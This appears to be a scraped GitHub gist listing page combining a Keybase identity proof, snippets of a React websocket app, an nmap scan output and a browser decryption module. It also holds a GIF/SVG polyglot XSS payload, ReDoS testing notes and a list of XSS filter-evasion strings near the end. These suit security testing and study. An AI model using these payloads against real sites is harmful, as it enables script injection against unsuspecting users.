I hereby claim:
- I am lawlez on github.
- I am lwlx (https://keybase.io/lwlx) on keybase.
- I have a public key whose fingerprint is 35A0 EDE7 758E ED76 2E45 10E7 C382 7DD3 E0DC 4810
To claim this, I am signing this object:
| 0xF9a524a90b0d80DA0fAAa1e1E9e7af879591dDb2 |
| 0x2674b8c8DDc36e4844cB0F09AA2FD1Eea0d43591 |
| import React, {useState, useEffect} from 'react' | |
| import ReactDOM from 'react-dom' | |
| import './index.css' | |
| import Login from './login' | |
| import {w3cwebsocket as W3CWebSocket} from 'websocket' | |
| const client = new W3CWebSocket('ws://localhost:8080') | |
| const Application = () => { | |
| const [isLoggedIn, setIsLoggedIn] = useState(false) | |
| const [userName, setUserName] = useState('username') |
| Nmap scan report for 192.168.1.21 | |
| Host is up (0.0025s latency). | |
| Not shown: 990 closed ports | |
| PORT STATE SERVICE VERSION | |
| 21/tcp open ftp | |
| | fingerprint-strings: | |
| | GenericLines: | |
| | 220 FTP FTP server ready. | |
| | command not understood. | |
| | command not understood. |
I hereby claim:
To claim this, I am signing this object:
| import crypto from 'browserify-aes' | |
| /********************************************************************** | |
| * | |
| * DECRYPTION MODULE FOR USE IN BROWSER DURING RUNTIME * | |
| * | |
| ***********************************************************************/ | |
| const decrypt = hash => { | |
| const hash = hash.data | |
| //get IV from input, make sure its no longer than 16 bytes |
| GIF89a.........ÿ...!ù......,........<svg onerror=alert(00) />; |
| #evil regex | |
| 1. install rxxr2: https://www.cs.bham.ac.uk/~hxt/research/rxxr2/ | |
| 2. test regex with rxxr2: ./scan.bin /(a+)+/ | |
| visualize regex with https://regexper.com/ | |
| further analysis tools: |
| " > < svg / onload = alert ( 1 ) > | |
| "><svg/onload=alert(1)> | |
| " > < s v g / onload = alert(1) > | |
| "><script>alert('XSS')</script> | |
| <iframe srcdoc="<script>alert('XSS')</script>"></iframe> |